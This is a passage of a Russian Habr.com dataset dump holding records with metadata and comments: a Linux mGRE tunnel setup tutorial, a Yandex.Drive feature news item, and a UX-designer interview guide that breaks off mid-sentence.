требуется проверить его на предмет закладок, лучше воспользоваться песочницей." ], "author": [ "Protos", "Dynasaur", "Tim (thepythonicway)", "Алексей (mrkaban)", "ptsecurity" ], "children": [ [ 25215776 ], [], [], [], [] ] }
48,276
ru
https://habr.com/ru/post/48276/
Создание point-to-multipoint тоннелей на базе инкапсуляции GRE в Linux 2.6
В ОС Linux встроена поддержка двух типов тоннелей: ipip и gre. В том виде, в котором тоннели традиционно используются в системе, без разницы, какой из них использовать: они оба дают в точности одинаковые накладные расходы к пакетам, посылаемым в тоннель IPv4-in-IPv4 (специально проверял), одинаково защищаются средствами IPsec и занимают одинаковое процессорное время для обработки. Однако, это разные типы тоннелей, и возможности gre значительно более широкие. К сожалению, нигде в интернете не описывается очень удобная и замечательная особенность gre-тоннелей, и большинство (если не все) администраторов Linux не знают о такой возможности, как mGRE-тоннели. К счастью, мы намереваемся восполнить этот недостаток :-) Итак, имеем три машины, все три имеют запущенный Linux версии 2.6 (я не уверен, возможно, и 2.4 тоже поддерживает). Также нам потребуется пакет iproute2 — это стандарт для современных Linux-систем (кстати, давно уже пора забыть про морально устаревшие утилиты ifconfig, route и прочие). Внешние ip-адреса систем: 1.1.1.1, 2.2.2.2 и 3.3.3.3; между ними есть маршрутизация. Обойдёмся пока без шифрования и аутеникации пакетов — это всё несложно к нашему примеру добавить, «просто» настроив IPsec между нашими хостами в транспортном режиме. Это тема за рамками темы ;) 1\. Создаём GRE-тоннель: (на всех трёх) [code] ip tunnel add mgre0 mode gre key 0xfffffffe ttl 255 [/code] Заметьте, мы не указали здесь адрес пира. Это значит, что в принципе он может быть расположен по любому адресу. key в данном случае идентифицирует конкретную mGRE-сеть — это 32-битное число, одинаковое для всех нод. 2\. Назначаем ему адрес: (на 1.1.1.1) [code] ip addr add 10.0.0.1/24 dev mgre0 [/code] (на 2.2.2.2) [code] ip addr add 10.0.0.2/24 dev mgre0 [/code] (на 3.3.3.3) [code] ip addr add 10.0.0.3/24 dev mgre0 [/code] Для интерфейсов Ethernet этого было бы достаточно. В Ethernet есть Adress Resolution Protocol (ARP), который позволяет системам самостоятельно найти MAC-адрес, зная IP-адрес хоста назначения. Ethernet является средой Broadcast Multiple Access, и протокол ARP заключается в создании запроса ко всем станциям сети (по MAC-адресу FF:FF:FF:FF:FF:FF): «Эй, кто из вас имеет IP-адрес x.x.x.x?». Если станция с таким IP-адресом имеется, она уже в приватном порядке сообщает, что «x.x.x.x расположен по адресу yy:yy:yy:yy:yy:yy». В нашей сети (Internet) нет такого средства, как ARP, а роль адресов «второго уровня», которые в случае Ethernet — MAC-адреса, здесь исполняют... внешние IP-адреса систем. Мы работаем со средой Non-Broadcast Multiple Access (NBMA), мы не можем крикнуть на весь интернет, как сделал бы ARP: «Эй, кто в GRE-сети 0xfffffffe имеет адрес 10.0.0.2?». Для разрешения этой проблемы адресов предназначен протокол Next Hop Resolution Protocol (NHRP, аналог ARP для NBMA-сред), но мы на на первый раз сделаем работу за него — заодно разберёмся, как вообще сеть в Linux работает :) 3\. Итак, сообщим вручную каждой станции, где искать соседей. Для этого выполним следующие команды: (на 1.1.1.1) [code] ip neigh add 10.0.0.2 lladdr 2.2.2.2 dev mgre0 ip neigh add 10.0.0.3 lladdr 3.3.3.3 dev mgre0 [/code] (на 2.2.2.2) [code] ip neigh add 10.0.0.1 lladdr 1.1.1.1 dev mgre0 ip neigh add 10.0.0.3 lladdr 3.3.3.3 dev mgre0 [/code] (на 3.3.3.3) [code] ip neigh add 10.0.0.1 lladdr 1.1.1.1 dev mgre0 ip neigh add 10.0.0.2 lladdr 2.2.2.2 dev mgre0 [/code] Здесь каждая команда говорит: «соседняя станция с адресом сетевого уровня IP x.x.x.x имеет физический адрес (link layer address, lladdr) y.y.y.y, который доступен через устройство M». Если бы мы настраивали статический Ethernet (без ARP), вместо y.y.y.y стоял бы MAC-адрес соответствующей станции. (Кстати, если посмотреть ip neigh show dev ethN в работающей Ethernet-сети, мы увидим результаты работы ARP — динамически полученные адреса соседей). Всё. На этом наш тоннель заработает: каждая из станций сможет пинговать любую другую. Если ядро собрано с поддержкой GRE multicast, то мы вообще получаем полнофункциональную «локалку» — в нашей вирутальной сети будут работать в полную силу протоколы динамической маршрутиации, типа RIP и OSPF! Вот так это выглядит со второй станции (2.2.2.2): [code] linux2 # ping 10.0.0.1 PING 10.0.0.1 (10.0.0.1) 56(84) bytes of data. 64 bytes from 10.0.0.1: icmp_seq=1 ttl=64 time=4.41 ms 64 bytes from 10.0.0.1: icmp_seq=2 ttl=64 time=0.429 ms ^C --- 10.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1013ms rtt min/avg/max/mdev = 0.429/2.419/4.410/1.991 ms linux2 # ping 10.0.0.2 PING 10.0.0.2 (10.0.0.2) 56(84) bytes of data. 64 bytes from 10.0.0.2: icmp_seq=1 ttl=64 time=0.027 ms 64 bytes from 10.0.0.2: icmp_seq=2 ttl=64 time=0.020 ms ^C --- 10.0.0.2 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 999ms rtt min/avg/max/mdev = 0.020/0.023/0.027/0.006 ms linux2 # ping 10.0.0.3 PING 10.0.0.3 (10.0.0.3) 56(84) bytes of data. 64 bytes from 10.0.0.3: icmp_seq=1 ttl=64 time=8.47 ms 64 bytes from 10.0.0.3: icmp_seq=2 ttl=64 time=0.164 ms ^C --- 10.0.0.3 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1018ms rtt min/avg/max/mdev = 0.164/4.318/8.472/4.154 ms linux2 # ip addr show dev mgre0 5: mgre0@NONE: <UP,LOWER_UP> mtu 1472 qdisc noqueue link/gre 0.0.0.0 brd 0.0.0.0 inet 10.0.0.2/24 brd 10.0.0.255 scope global mgre0 linux2 # ip neigh show dev mgre0 10.0.0.1 lladdr 1.1.1.1 PERMANENT 10.0.0.3 lladdr 3.3.3.3 PERMANENT [/code] Конечно, если станций много, такой подход не годится — не прописывать же на каждой станции всех соседей! Но вполне понятно, как решать этй проблему. Но об этом как-нибудь потом.
<div xmlns="http://www.w3.org/1999/xhtml">В ОС Linux встроена поддержка двух типов тоннелей: ipip и gre. В том виде, в котором тоннели традиционно используются в системе, без разницы, какой из них использовать: они оба дают в точности одинаковые накладные расходы к пакетам, посылаемым в тоннель IPv4-in-IPv4 (специально проверял), одинаково защищаются средствами IPsec и занимают одинаковое процессорное время для обработки. Однако, это разные типы тоннелей, и возможности gre значительно более широкие.<br/> К сожалению, нигде в интернете не описывается очень удобная и замечательная особенность gre-тоннелей, и большинство (если не все) администраторов Linux не знают о такой возможности, как mGRE-тоннели. К счастью, мы намереваемся восполнить этот недостаток :-)<br/> <br/> <a name="habracut"></a><br/> <br/> Итак, имеем три машины, все три имеют запущенный Linux версии 2.6 (я не уверен, возможно, и 2.4 тоже поддерживает). Также нам потребуется пакет iproute2 — это стандарт для современных Linux-систем (кстати, давно уже пора забыть про морально устаревшие утилиты ifconfig, route и прочие). Внешние ip-адреса систем: 1.1.1.1, 2.2.2.2 и 3.3.3.3; между ними есть маршрутизация.<br/> <br/> Обойдёмся пока без шифрования и аутеникации пакетов — это всё несложно к нашему примеру добавить, «просто» настроив IPsec между нашими хостами в транспортном режиме. Это тема за рамками темы ;)<br/> <br/> 1. Создаём GRE-тоннель:<br/> <i>(на всех трёх)</i><pre>ip tunnel add mgre0 mode gre key 0xfffffffe ttl 255</pre><br/> Заметьте, мы не указали здесь адрес пира. Это значит, что в принципе он может быть расположен по любому адресу. key в данном случае идентифицирует конкретную mGRE-сеть — это 32-битное число, одинаковое для всех нод.<br/> <br/> 2. Назначаем ему адрес:<br/> <i>(на 1.1.1.1)</i><pre>ip addr add 10.0.0.1/24 dev mgre0</pre><br/> <i>(на 2.2.2.2)</i><pre>ip addr add 10.0.0.2/24 dev mgre0</pre><br/> <i>(на 3.3.3.3)</i><pre>ip addr add 10.0.0.3/24 dev mgre0</pre><br/> <br/> Для интерфейсов Ethernet этого было бы достаточно. В Ethernet есть Adress Resolution Protocol (ARP), который позволяет системам самостоятельно найти MAC-адрес, зная IP-адрес хоста назначения. Ethernet является средой Broadcast Multiple Access, и протокол ARP заключается в создании запроса ко всем станциям сети (по MAC-адресу FF:FF:FF:FF:FF:FF): «Эй, кто из вас имеет IP-адрес <i>x.x.x.x</i>?». Если станция с таким IP-адресом имеется, она уже в приватном порядке сообщает, что «<i>x.x.x.x</i> расположен по адресу <i>yy:yy:yy:yy:yy:yy</i>».<br/> <br/> В нашей сети (Internet) нет такого средства, как ARP, а роль адресов «второго уровня», которые в случае Ethernet — MAC-адреса, здесь исполняют… внешние IP-адреса систем. Мы работаем со средой Non-Broadcast Multiple Access (NBMA), мы не можем крикнуть на весь интернет, как сделал бы ARP: «Эй, кто в GRE-сети 0xfffffffe имеет адрес 10.0.0.2?».<br/> <br/> Для разрешения этой проблемы адресов предназначен протокол Next Hop Resolution Protocol (NHRP, аналог ARP для NBMA-сред), но мы на на первый раз сделаем работу за него — заодно разберёмся, как вообще сеть в Linux работает :)<br/> <br/> 3. Итак, сообщим вручную каждой станции, где искать соседей. Для этого выполним следующие команды:<br/> <i>(на 1.1.1.1)</i><pre>ip neigh add 10.0.0.2 lladdr 2.2.2.2 dev mgre0 ip neigh add 10.0.0.3 lladdr 3.3.3.3 dev mgre0</pre><br/> <i>(на 2.2.2.2)</i><pre>ip neigh add 10.0.0.1 lladdr 1.1.1.1 dev mgre0 ip neigh add 10.0.0.3 lladdr 3.3.3.3 dev mgre0</pre><br/> <i>(на 3.3.3.3)</i><pre>ip neigh add 10.0.0.1 lladdr 1.1.1.1 dev mgre0 ip neigh add 10.0.0.2 lladdr 2.2.2.2 dev mgre0</pre><br/> <br/> Здесь каждая команда говорит: «соседняя станция с адресом сетевого уровня IP <i>x.x.x.x</i> имеет физический адрес (link layer address, lladdr) <i>y.y.y.y</i>, который доступен через устройство <i>M</i>». Если бы мы настраивали статический Ethernet (без ARP), вместо <i>y.y.y.y</i> стоял бы MAC-адрес соответствующей станции. (Кстати, если посмотреть ip neigh show dev ethN в работающей Ethernet-сети, мы увидим результаты работы ARP — динамически полученные адреса соседей).<br/> <br/> Всё. На этом наш тоннель заработает: каждая из станций сможет пинговать любую другую. Если ядро собрано с поддержкой GRE multicast, то мы вообще получаем полнофункциональную «локалку» — в нашей вирутальной сети будут работать в полную силу протоколы динамической маршрутиации, типа RIP и OSPF!<br/> <br/> Вот так это выглядит со второй станции (2.2.2.2):<br/> <pre>linux2 # ping 10.0.0.1 PING 10.0.0.1 (10.0.0.1) 56(84) bytes of data. 64 bytes from 10.0.0.1: icmp_seq=1 ttl=64 time=4.41 ms 64 bytes from 10.0.0.1: icmp_seq=2 ttl=64 time=0.429 ms ^C --- 10.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1013ms rtt min/avg/max/mdev = 0.429/2.419/4.410/1.991 ms linux2 # ping 10.0.0.2 PING 10.0.0.2 (10.0.0.2) 56(84) bytes of data. 64 bytes from 10.0.0.2: icmp_seq=1 ttl=64 time=0.027 ms 64 bytes from 10.0.0.2: icmp_seq=2 ttl=64 time=0.020 ms ^C --- 10.0.0.2 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 999ms rtt min/avg/max/mdev = 0.020/0.023/0.027/0.006 ms linux2 # ping 10.0.0.3 PING 10.0.0.3 (10.0.0.3) 56(84) bytes of data. 64 bytes from 10.0.0.3: icmp_seq=1 ttl=64 time=8.47 ms 64 bytes from 10.0.0.3: icmp_seq=2 ttl=64 time=0.164 ms ^C --- 10.0.0.3 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1018ms rtt min/avg/max/mdev = 0.164/4.318/8.472/4.154 ms linux2 # ip addr show dev mgre0 5: mgre0@NONE: &lt;UP,LOWER_UP> mtu 1472 qdisc noqueue link/gre 0.0.0.0 brd 0.0.0.0 inet 10.0.0.2/24 brd 10.0.0.255 scope global mgre0 linux2 # ip neigh show dev mgre0 10.0.0.1 lladdr 1.1.1.1 PERMANENT 10.0.0.3 lladdr 3.3.3.3 PERMANENT</pre><br/> <br/> Конечно, если станций много, такой подход не годится — не прописывать же на каждой станции всех соседей! Но вполне понятно, как решать этй проблему. Но об этом как-нибудь потом.</div>
Никита Киприянов (merlin-vrn)
null
null
В ОС Linux встроена поддержка двух типов тоннелей: ipip и gre. В том виде, в котором тоннели традиционно используются в системе, без разницы, какой из них использовать: они оба дают в точности одинаковые накладные расходы к пакетам, посылаемым в тоннель IPv4-in-IPv4 (специально проверял), одинаково защищаются средствами IPsec и занимают одинаковое процессорное время для обработки. Однако, это разные типы тоннелей, и возможности gre значительно более широкие.<br/> К сожалению, нигде в интернете не описывается очень удобная и замечательная особенность gre-тоннелей, и большинство (если не все) администраторов Linux не знают о такой возможности, как mGRE-тоннели. К счастью, мы намереваемся восполнить этот недостаток :-)<br/> <br/>
В ОС Linux встроена поддержка двух типов тоннелей: ipip и gre. В том виде, в котором тоннели традиционно используются в системе, без разницы, какой из них использовать: они оба дают в точности одинаковые накладные расходы к пакетам, посылаемым в тоннель IPv4-in-IPv4 (специально проверял), одинаково защищаются средствами IPsec и занимают одинаковое процессорное время для обработки. Однако, это разные типы тоннелей, и возможности gre значительно более широкие. К сожалению, нигде в интернете не описывается очень удобная и замечательная особенность gre-тоннелей, и большинство (если не все) администраторов Linux не знают о такой возможности, как mGRE-тоннели. К счастью, мы намереваемся восполнить этот недостаток :-)
article
1,230,966,060
{ "commentsCount": 6, "favoritesCount": 94, "readingCount": 14826, "score": 15, "votesCount": 21, "votesCountPlus": 18, "votesCountMinus": 3 }
[]
[ "closet" ]
[ "popsci" ]
[ "gre", "vpn", "multipoint gre", "ip" ]
4
null
null
{ "id": [ 12891023, 12891025, 12891027, 12891029, 12891031, 12891033 ], "parent_id": [ null, null, 12891025, 12891025, 12891029, null ], "level": [ 0, 0, 1, 1, 2, 0 ], "time_published": [ 1230968888, 1230973684, 1230973924, 1230985142, 1230986736, 1404468981 ], "score": [ 0, 0, 2, 0, 3, 0 ], "votes": [ 0, 0, 4, 0, 3, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо, интересная информация.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">напишите пожалуста способы применения этих самых тунелей, а то мне валенку непонятно зачем они нужны</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не знаете, зачем — значит они вам и не нужны. Но на всякий случай загляните в теги — там есть подсказка.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">VPN это нешифрованный.<br/>\r\n<a href=\"http://ru.wikipedia.org/wiki/GRE_(протокол)\">GRE на ru.wikipedia</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Просто добавь IPsec…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Еще нужно на каждом узле выполнить<br/>\r\n<pre><code class=\"bash\">ip link set mgre0 up</code></pre><br/>\r\n<br/>\r\nчтобы собственно включить интерфейс, без этого пинги не пойдут и сеть работать не будет.</div>" ], "message_markdown": [ "Спасибо, интересная информация.", "напишите пожалуста способы применения этих самых тунелей, а то мне валенку непонятно зачем они нужны", "Не знаете, зачем — значит они вам и не нужны. Но на всякий случай загляните в теги — там есть подсказка.", "VPN это нешифрованный.\nGRE на ru.wikipedia", "Просто добавь IPsec...", "Еще нужно на каждом узле выполнить\n[code]\n ip link set mgre0 up\n[/code]\nчтобы собственно включить интерфейс, без этого пинги не пойдут и сеть работать не будет." ], "author": [ "vadimlapapam (mapcoxog)", "time2die (time2die)", "Никита Киприянов (merlin-vrn)", "Филимонов Алексей (FilimoniC)", "Никита Киприянов (merlin-vrn)", "Тимофей Кулин (rekby)" ], "children": [ [], [ 12891027, 12891029 ], [], [ 12891031 ], [], [] ] }
496,568
ru
https://habr.com/ru/post/496568/
В Яндекс.Драйв включили функцию передачи руля
В сервисе каршеринга Яндекс.Драйв появилась новая функция. Теперь пользователь может делиться автомобилем по номеру телефона или QR-коду. Как пояснили в компании, функция предназначена для того, чтобы члены семьи могли пользоваться одной машиной. Кроме того, управление можно передавать друзьям и близким людям. Это удобно в случае, когда, например, во время поездки необходимо сменить водителя. Чтобы поделиться правом на управление, нужно нажать на кнопку «Передать руль» на экране поездки в разделе «Суперспособности». Другой пользователь должен иметь доступ в Яндекс. Драйв. После получения кода он принимает управление. Тариф при передаче руля сохраняется. Ранее Яндекс.Драйв запустил новый тариф «Дни», чтобы пользователи могли арендовать машину на два, три, пять или семь суток сразу. Добравшись до цели, пользователю нужно будет перевести машину в режим ожидания. Зоны поездок ограничены Ленинградской областью, Татарстаном и территорией в радиусе 200-300 км от Москвы.
<div xmlns="http://www.w3.org/1999/xhtml"><img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/902/6d4/a7a/9026d4a7a05f6fe7c240fb6cb9c7d6d4.png" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/902/6d4/a7a/9026d4a7a05f6fe7c240fb6cb9c7d6d4.png"/><br/> <br/> В сервисе каршеринга Яндекс.Драйв появилась новая функция. Теперь пользователь может <a href="https://t.me/yandexhq/967" rel="nofollow">делиться автомобилем</a> по номеру телефона или QR-коду.<br/> <br/> Как пояснили в компании, функция предназначена для того, чтобы члены семьи могли пользоваться одной машиной. Кроме того, управление можно передавать друзьям и близким людям. Это удобно в случае, когда, например, во время поездки необходимо сменить водителя. <a name="habracut"></a><br/> <br/> Чтобы поделиться правом на управление, нужно нажать на кнопку «Передать руль» на экране поездки в разделе «Суперспособности». Другой пользователь должен иметь доступ в Яндекс. Драйв. После получения кода он принимает управление. Тариф при передаче руля сохраняется.<br/> <br/> <img src="https://habrastorage.org/r/w1560/webt/xa/zt/bs/xaztbsvnxlzbxbr_z58oli16fe4.png" width="30%" alt="image" data-src="https://habrastorage.org/webt/xa/zt/bs/xaztbsvnxlzbxbr_z58oli16fe4.png"/> <img src="https://habrastorage.org/r/w1560/webt/49/tk/yi/49tkyi56x8pqexkvb3xywkktiti.png" width="30%" alt="image" data-src="https://habrastorage.org/webt/49/tk/yi/49tkyi56x8pqexkvb3xywkktiti.png"/> <img src="https://habrastorage.org/r/w1560/webt/kp/dy/us/kpdyustoe6h-av9per2zz9iybcu.png" width="30%" alt="image" data-src="https://habrastorage.org/webt/kp/dy/us/kpdyustoe6h-av9per2zz9iybcu.png"/> <br/> <br/> <img src="https://habrastorage.org/r/w1560/webt/dd/ox/yl/ddoxylleggm7xdla6pfaauqgpwa.png" width="30%" alt="image" data-src="https://habrastorage.org/webt/dd/ox/yl/ddoxylleggm7xdla6pfaauqgpwa.png"/> <img src="https://habrastorage.org/r/w1560/webt/98/xt/me/98xtme0a66v3lknokixfma_ut-i.png" width="30%" alt="image" data-src="https://habrastorage.org/webt/98/xt/me/98xtme0a66v3lknokixfma_ut-i.png"/><br/> <br/> Ранее Яндекс.Драйв <a href="https://habr.com/ru/news/t/494250/">запустил новый тариф</a> «Дни», чтобы пользователи могли арендовать машину на два, три, пять или семь суток сразу. Добравшись до цели, пользователю нужно будет перевести машину в режим ожидания. Зоны поездок ограничены Ленинградской областью, Татарстаном и территорией в радиусе 200-300 км от Москвы.</div>
maybe_elf
null
null
<img src="https://habrastorage.org/getpro/habr/post_images/902/6d4/a7a/9026d4a7a05f6fe7c240fb6cb9c7d6d4.png" alt="image"><br> <br> В сервисе каршеринга Яндекс.Драйв появилась новая функция. Теперь пользователь может <a href="https://t.me/yandexhq/967" rel="nofollow">делиться автомобилем</a> по номеру телефона или QR-коду.<br> <br> Как пояснили в компании, функция предназначена для того, чтобы члены семьи могли пользоваться одной машиной. Кроме того, управление можно передавать друзьям и близким людям. Это удобно в случае, когда, например, во время поездки необходимо сменить водителя.
В сервисе каршеринга Яндекс.Драйв появилась новая функция. Теперь пользователь может делиться автомобилем по номеру телефона или QR-коду. Как пояснили в компании, функция предназначена для того, чтобы члены семьи могли пользоваться одной машиной. Кроме того, управление можно передавать друзьям и близким людям. Это удобно в случае, когда, например, во время поездки необходимо сменить водителя.
news
1,586,513,094
{ "commentsCount": 3, "favoritesCount": 3, "readingCount": 4287, "score": 7, "votesCount": 15, "votesCountPlus": 11, "votesCountMinus": 4 }
[]
[ "transport" ]
[ "popsci" ]
[ "яндекс.драйв", "каршеринг", "qr-коды" ]
1
null
null
{ "id": [ 21484600, 21484934, 21486694 ], "parent_id": [ null, null, null ], "level": [ 0, 0, 0 ], "time_published": [ 1586518444, 1586523590, 1586558850 ], "score": [ 0, 5, 0 ], "votes": [ 0, 5, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">На самом деле это круто.<br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Этой статье точно место на Хабрахабре? Ни технических подробностей, ни описание пользы для профессионального сообщества.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Как пояснили в компании, функция предназначена для того, чтобы члены семьи могли пользоваться одной машиной.</blockquote><p>Всего-то?<br/>\r\nИз заголовка ожидал передачу удалённого управления служащим электронного концлагеря, а тут банальный QR-код для сменщика.</p></div>" ], "message_markdown": [ "На самом деле это круто.", "Этой статье точно место на Хабрахабре? Ни технических подробностей, ни описание пользы для профессионального сообщества.", "> Как пояснили в компании, функция предназначена для того, чтобы члены семьи могли пользоваться одной машиной.\nВсего-то?\nИз заголовка ожидал передачу удалённого управления служащим электронного концлагеря, а тут банальный QR-код для сменщика." ], "author": [ "LAG_LAGbI4", "JSON Statham (Finesse)", "Maccimo" ], "children": [ [], [], [] ] }
325,030
ru
https://habr.com/ru/post/325030/
7 вопросов, которые вам зададут на собеседовании на вакансию UX дизайнера
Устраиваться на работу всегда сложно. Невозможно заранее знать ответы на все вопросы, которые вам задаст наниматель. Однако есть несколько общих вопросов, к которым можно подготовиться. Успешные ответы на эти вопросы не гарантируют вам работу, но они увеличат ваши шансы на успех. Помните о том, что ваш ответ должен быть скорректирован в соответствии с описанием вакансии и деятельностью компании. В этой статье я приведу семь основных вопросов на UX собеседовании, а также подскажу, как лучше на них ответить. ### 1\. Что такое UX дизайн? Зачем он нужен? Как вы объясните процесс UX дизайна? #### Здесь они пытаются выяснить, имеются ли у вас основные знания в UX дизайне. Даже если этот вопрос довольно общий, на него нужно отвечать конкретно. Сфокусируйтесь на определении того, кем вы являетесь как дизайнер. Ваш ответ должен быть четким и доступным. Представьте, что вы объясняете это 10-летнему ребенку. На вопрос, зачем нужен UX дизайн, постарайтесь показать, что вам нравится то, как компания относится к дизайну. Можно также рассказать историю о вашем отношении к дизайну и о важности ориентации на потребителя. При ответе на вопрос «Как вы объясните процесс UX дизайна?» сфокусируйтесь на следующих областях: Исследование пользователей (англ.) Юзабилити Информационная архитектура Пользовательский интерфейс (User Interface Design) Проектирование взаимодействия (Interaction Design) (англ.) Стратегия опыта (Experience Strateg) (англ.) Совет: При определении UX дизайна сфокусируйтесь на важности определения пользователя, для которого вы создаете продукт. Обычно это означает, что UX дизайнер должен проводить опросы, опрашивать целевую аудиторию для сбора полезных данных. ### 2\. Каков ваш процесс создания дизайна? Опишите методы, которые вы используете. #### Здесь они пытаются выяснить, каковы вы на деле. Когда вы начнете объяснять процесс создания дизайна, то можете либо описать потенциальный подход к типичному проекту (хорошо), либо показать, как вы работали над проектами в прошлом (лучше). Расскажите о своих проектах через истории: Следуйте определенным этапам: предпосылки проекта, возможности, процесс, взлеты и падения, конечный результат. Будьте конкретны при описании шагов, которые вы предприняли от концепции до конечного продукта. Примите во внимание контекст вашего дизайна. Различные условия UX требуют разных UX процессов. Ваша сильная сторона будет заключаться в определении процесса, который в наибольшей степени подходит при той или иной ситуации. Не бойтесь того, что ваш процесс будет отличаться от методов работы других дизайнеров. Главное — показать логическое обоснование того, почему вы решили именно так выполнить задачу. Совет: Было бы неплохо, если бы вы рассказали о подходе, ориентированном на пользователя, и о тщательном анализе как целей пользователей и бизнеса. Еще более эффективно будет показать это в рамках конкретного проекта. Источник: Usabilla Кроме того, в своем рассказе затроньте следующие темы в контексте ваших проектов: Анализ пользователей: Какие методы вы использовали? Почему именно эти методы? Персонаж (User Personas): Как вы создавали персонажей? Сколько персонажей вы создали? Как вам это помогло? Карта путешествия потребителя (Customer Journey Map) и Путь пользователя (User Flows): Что включает ваша карта? Прототипирование: Опишите, как вы перешли от первичному прототипа (например, скетч на листке бумаги) к качественному прототипу (например, интерактивные прототипы в Adobe XD). Сколько и какие итерации были сделаны во время прототипирования? С какими трудностями вы столкнулись? Метрики и аналитика: Объясните с помощью количественных данных увеличение числа регистраций, продаж или других изменений в результате ваших проектных решений. ### 3\. Как вы работаете с другими дизайнерами, программистами, руководителями проектов? #### Здесь они пытаются выяснить, вписываетесь ли вы в культуру компании. Ваш интервьюер хочет понять ваш стиль работы. Дизайн — это командный вид спорта и, как UX дизайнер, вы должны знать, как эффективно сообщать о своих решениях всей команде. Имейте в виду, что каждый член команды, вероятно, видит данный проект со своей точки зрения. Однако вам нужно уметь общаться со всеми ими, чтобы быстро предотвратить любые проблемы или недоразумения. Источник: Melissa Perri Умение сопереживать и понимать мотивации коллег — важное качество. У разработчиков, продакт менеджеров и дизайнеров различиные цели и задачи. Если вы продемонстрируете, что вы их слушаете, то вас хорошо примут: Разработчики — Для эффективного сотрудничества с разработчиками попытайтесь понять технологический процесс и получить хорошее представление об ограничениях и возможностях. Менеджеры продукта — Чтобы хорошо работать с менеджерами продуктов, не забудьте преобразовать прототипы в детальное описание, как правило, в виде подробных историй. Дизайнеры — Дизайнеры обычно долго сравнивают и сопоставляют различные варианты, а затем устраивают структурированные критические сессии. typically have continuous cycles of pairing and siloing, followed by structured critique sessions. Ключом к успеху является самосознание того, как вы работаете и демонстрация гибкости. Совет: Отвечая на этот вопрос, попросите своего интервьюера описать текущую структуру команды, роли и существующие процессы. Спросите про проблемы, с которыми они сталкиваются в настоящее время. Вы можете представить свой опыт в рамках возможного решения проблем компании. Пусть интервьюер увидит, насколько вы хотите применить свои умения и опыт не только в своей должности, но и для успеха самой компании. ### 4\. Как вы решаете, какие функции добавить вашему продукту? #### Здесь они пытаются выяснить, можете ли вы подтвердить или опровергнуть гипотезу для создания нового решения. Этот вопрос очень сложный, так как зависит от контекста. Если вас спрашивают в рамках разработки нового софта, вы можете рассказать, как разработать минимально жизнеспособный продукт (MVP англ.). Источник: Brainhub Если вопрос задается в контексте существующего продукта, вам следует сосредоточиться на основных принципах стратегии продукта (product strategy (англ.)). Прежде чем переходить к конкретным функциям, вам нужно будет составить четкую картину бизнес-целей и потребностей пользователей. Вы должны быть готовы ответить на следующие вопросы: Кто ваш пользователь? Каковы цели пользователей? Зачем пользователю эта функция? Какую проблему она решает? Совет: Отличная возможность, чтобы показать, как вы будете использовать исследования пользователей для тестирования решений. Часто при нерешаемой проблеме сбор многих пользовательских данных может помочь продвинуться вперед. После того, как будет собрано достаточное количество данных, и цели пользователя будут проверены, вы сможете определить, какие новые функции лучше всего соответствуют бизнес-целям. ### 5\. Расскажите о проекте, которым вы гордитесь больше всего. #### Здесь они пытаются выяснить ваши сильные и слабые стороны. Это хитрый вопрос. Отвечая на него, кандидаты обычно чувствуют себя спокойно. Однако затем интервьюер задает дополнительные вопросы о процессе, мышлении, взаимодействии с другими членами команды. Вопрос позволяет оценить навыки кандидата не спрашивая об этом напрямую. Поэтому лучше всего отвечать правдиво и четко. Не надо преувеличивать свой вклад в проект. Совет: Обратите внимание, что вопрос не содержит слово «UX». Поэтому не бойтесь рассказать о проектах в других областях. ### 6\. Расскажите о UX проекте, который пошел не так, как планировалось. #### Здесь они пытаются выяснить, можете ли вы критически оценивать работу. Ни в коем случае не делайте вид, что у вас никогда не было подобных проектов. Делать ошибки — это обычная часть рабочей жизни. Важно показать, как вы с ними справились. Нужно найти честный пример, который покажет: Что пошло не так Почему это пошло не так Что вы сделали для решения проблемы Чему вы научились Совет: Важно признать ошибку и затем представить эффективное решение проблемы. Все мы учимся на ошибках. ### 7\. Каково, на ваш взгляд, будущее UX дизайна? #### Здесь они пытаются выяснить, думаете ли вы наперед. Используйте этот вопрос как возможность показать свою любовь к UX дизайну и его потенциалу. Вот пару тем, на которых вы можете сфокусироваться. Развитие новых инструментов прототипирования, которые экономят время разработчикам и дизайнерам (англ.). Дизайн для универсального доступа, который позволяет пользователям с разными возможностями успешно использовать ваш интерфейс (англ.). Совет: Этот вопрос дает отличную возможность рассказать о вашем видении будущего виртуальной или дополненной реальности. Подъем виртуальной реальности. Источник: Ramotion ### Бонус: Откуда вы черпаете вдохновение? За кем в этой индустрии вы следите? #### Здесь они пытаются выяснить, что вас вдохновляет и мотивирует. Расскажите о блогах и книгах, которые вы читаете, конференциях, которые вы посетили, и личности, за которыми вы следите. Список моих любимых блогов (в свободном порядке): Alistapart Designmodo UX Booth UXMastery Digital Telepathy 52 Weeks of UX UXMatters UX Myths Usabilla Intercom blog UserTesting blog Nielsen Norman Group blog Smashing Magazine За кем я слежу: Jared Spool Luke Wroblewski Karen McGrane Oliver Reichenstein Don Norman Peter Merholz Julie Zhuo И список литературы для тех, кто хочет углубить свои знания в UX дизайне:: The Design of Everyday Things от Don Norman About Face: The Essentials of Interaction Design от Alan Cooper The Shape of Design от Frank Chimero 100 Things Every Designer Needs to Know About People от Susan Weinschenk A Practical Guide to Information Architecture от Donna Spencer Don’t Make Me Think и Rocket Surgery Made Easy от Steve Krug The Elements of User Experience: User-Centered Design for the Web and Beyond от Jesse James Garrett Designing for Emotion от Aarron Walter Designing Interactions от Bill Moggridge Getting Real и Rework от Jason Fried и David Heinemeier Hansson (Basecamp) Prototyping A Practitioner’s Guide от Todd Zaki Warfel ### Вопроса, которого не хватает Возможно, вы спросите, почему мой перечень не включает повсеместный вопрос «Почему я должен вас нанимать?». Все потому, 